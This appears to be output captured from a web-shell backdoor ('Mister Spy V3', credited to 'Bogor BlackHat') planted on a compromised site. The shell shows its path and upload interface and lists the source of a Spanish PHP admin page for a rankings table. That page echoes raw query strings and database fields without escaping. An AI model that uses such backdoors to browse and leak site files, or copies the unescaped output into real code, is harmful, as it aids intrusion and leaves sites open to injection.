Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/_admin_/
Upload File :
Current File : /home/caballoscriollos/www/espanol/_admin_/clasificatorias.php

<?php
require_once('../../Connections/cnx.php'); 
require_once('../../funcs.php'); 
require_once('00_admin_look.php'); 
require_once('ssi_seguridad.php'); 

$currentPage = $_SERVER["PHP_SELF"];

$qry_string = "vacio=si";
if(isset($_SERVER['QUERY_STRING']))
	$qry_string = $_SERVER['QUERY_STRING'];


$maxRows_rsClasificatoria = 20;
$pageNum_rsClasificatoria = 0;
if (isset($_GET['pageNum_rsClasificatoria'])) {
  $pageNum_rsClasificatoria = $_GET['pageNum_rsClasificatoria'];
}
$startRow_rsClasificatoria = $pageNum_rsClasificatoria * $maxRows_rsClasificatoria;

mysql_select_db($database_cnx, $cnx);
$query_rsClasificatoria = "SELECT * FROM clasificatoria ORDER BY tipo, Titulo ASC";
$query_limit_rsClasificatoria = sprintf("%s LIMIT %d, %d", $query_rsClasificatoria, $startRow_rsClasificatoria, $maxRows_rsClasificatoria);
$rsClasificatoria = mysql_query($query_limit_rsClasificatoria, $cnx) or die(mysql_error());
$row_rsClasificatoria = mysql_fetch_assoc($rsClasificatoria); 

if (isset($_GET['totalRows_rsClasificatoria'])) {
  $totalRows_rsClasificatoria = $_GET['totalRows_rsClasificatoria'];
} else {
  $all_rsClasificatoria = mysql_query($query_rsClasificatoria);
  $totalRows_rsClasificatoria = mysql_num_rows($all_rsClasificatoria);
}
$totalPages_rsClasificatoria = ceil($totalRows_rsClasificatoria/$maxRows_rsClasificatoria)-1;

$queryString_rsClasificatoria = "";
if (!empty($_SERVER['QUERY_STRING'])) {
  $params = explode("&", $_SERVER['QUERY_STRING']);
  $newParams = array();
  foreach ($params as $param) {
    if (stristr($param, "pageNum_rsClasificatoria") == false && 
        stristr($param, "totalRows_rsClasificatoria") == false) {
      array_push($newParams, $param);
    }
  }
  if (count($newParams) != 0) {
    $queryString_rsClasificatoria = "&" . htmlentities(implode("&", $newParams));
  }
}
$queryString_rsProvincias = sprintf("&totalRows_rsClasificatoria=%d%s", $totalRows_rsClasificatoria, $queryString_rsClasificatoria);
$qry=mysql_query($sql);

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Documento sin t&iacute;tulo</title>
<script language="JavaScript" type="text/JavaScript" src="edita.js"></script>
<link href="basico_backend.css" rel="stylesheet" type="text/css" />
</head>

<body>
<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGrisFondo">
  <tr>
    <td width="10" class="TituloRubro">&nbsp;</td>
    <td class="TituloRubro">&nbsp;</td>
  </tr>
  <tr>
    <td width="10">&nbsp;</td>
    <td><p class="tituloPagina">CLASIFICATORIAS</p></td>
  </tr>
  <tr>
    <td width="10">&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
</table>
<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td height="0" align="right">&nbsp;</td>
    <td height="0" align="right">&nbsp;</td>
  </tr>
  <tr>
    <td height="25" align="right"><a href="clasificatorias_add.php"><img src="iconos/add.gif" alt="Agregar" width="16" height="14" hspace="3" border="0" /></a></td>
    <td width="50" align="right"><div align="center"><a href="clasificatorias_add.php">Agregar</a></div></td>
  </tr>
</table>

	<?php if($totalRows_rsClasificatoria > 0 ){ ?>
<table width="90%" border="0" align="center">
	  <tr>
	    <td height="20" align="right" valign="top">&nbsp;</td>
  </tr>
	  <tr>
		<td height="20" align="right" valign="top">&nbsp;
	Registros <?php echo ($startRow_rsClasificatoria + 1) ?> a <?php echo min($startRow_rsClasificatoria + $maxRows_rsClasificatoria, $totalRows_rsClasificatoria) ?> de <?php echo $totalRows_rsClasificatoria ?> </td>
	  </tr>
</table>
	<table width="90%" border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGris">
	  <tr class="bordeGrisFondo">
	  		<td width="200"><strong>&nbsp;&nbsp;&nbsp;Titulo</strong></td>
		    <td width="100" height="25"><strong>Tipo</strong></td>
		    <td width="100" height="25" align="center"><strong>Acciones</strong></td>
	  </tr>
	  
	  <?php do { ?>
	  <tr onMouseover="changeto(event, '<? echo $colCeld; ?>')" onMouseout="changeback(event, '<? echo $colCeldOut; ?>')">
	  		
		<td height="20"><?php echo $row_rsClasificatoria['Titulo']; ?></td>
		<td height="20"><?php { 
		if ($row_rsClasificatoria['tipo'] == 0)
		{
		echo "Analitico";
		}else{
		echo "General";
		}
		}?></td>
		
		<td width="100" height="20" align="center">
			
	
			<a href="#"></a><a href="clasificatorias_mod.php?<?=$qry_string?>&idclasificatoria=<?php echo $row_rsClasificatoria['idclasificatoria']; ?>"><img src="iconos/mod.gif" alt="Modificar" width="16" height="14" hspace="2" border="0" /></a>

				
			<a href="clasificatorias_del.php?<?=$qry_string?>&idclasificatoria=<?php echo $row_rsClasificatoria['idclasificatoria']; ?>"><img src="iconos/del.gif" alt="Eliminar" width="16" height="14" hspace="2" border="0" /></a>
			
			</td>
	  </tr>
		<tr bgcolor="<? echo $CeldDivide;?>">
		<td colspan="3" bgcolor="<? echo $CeldDivide;?>"><div align="center"></div></td>
      </tr>
	  <?php } while ($row_rsClasificatoria = mysql_fetch_assoc($rsClasificatoria)); ?>
	</table>
	<table border="0" width="25%" align="center">
	  <tr>
		<td width="23%" align="center"><?php if ($pageNum_rsClasificatoria > 0) { // Show if not first page ?>
		  <a href="<?php printf("%s?pageNum_rsClasificatoria=%d%s", $currentPage, 0, $queryString_rsClasificatoria); ?>"><img src="First.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not first page ?>
		</td>
		<td width="31%" align="center"><?php if ($pageNum_rsClasificatoria > 0) { // Show if not first page ?>
		  <a href="<?php printf("%s?pageNum_rsClasificatoria=%d%s", $currentPage, max(0, $pageNum_rsClasificatoria - 1), $queryString_rsClasificatoria); ?>"><img src="Previous.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not first page ?>
		</td>
		<td width="23%" align="center"><?php if ($pageNum_rsClasificatoria < $totalPages_rsClasificatoria) { // Show if not last page ?>
		  <a href="<?php printf("%s?pageNum_rsClasificatoria=%d%s", $currentPage, min($totalPages_rsClasificatoria, $pageNum_rsClasificatoria + 1), $queryString_rsClasificatoria); ?>"><img src="Next.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not last page ?>
		</td>
		<td width="23%" align="center"><?php if ($pageNum_rsClasificatoria < $totalPages_rsClasificatoria) { // Show if not last page ?>
		  <a href="<?php printf("%s?pageNum_rsClasificatoria=%d%s", $currentPage, $totalPages_rsClasificatoria, $queryString_rsClasificatoria); ?>"><img src="Last.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not last page ?></td>
	  </tr>
</table>
	</p>
	<?php } //Cierro el Show if ?>
	<?php if($totalRows_rsClasificatoria==0){ ?>
			<p>&nbsp;</p>
			<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#F3F3F3" class="bordeGris">
			  <tr>
				<td>&nbsp;</td>
			  </tr>
			  <tr>
				<td>&nbsp;</td>
			  </tr>
			  <tr>
				<td align="center"><img src="iconos/alerta.gif" width="26" height="24" border="0" /></td>
			  </tr>
			  <tr>
				<td><p align="center"><span class="alerta_1">Lo siento!</span></p></td>
			  </tr>
			  <tr>
				<td><p>&nbsp;</p></td>
			  </tr>
			  <tr>
				<td><div align="center">
				  <p><strong>No hay Clasificatorias disponibles</strong></p>
				</div></td>
			  </tr>
			  <tr>
				<td><p>&nbsp;</p></td>
			  </tr>
			</table>
			<p>&nbsp;</p>
	<? } //Cierro el show if ?>
</body>
</html>
<?php
mysql_free_result($rsClasificatoria);
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat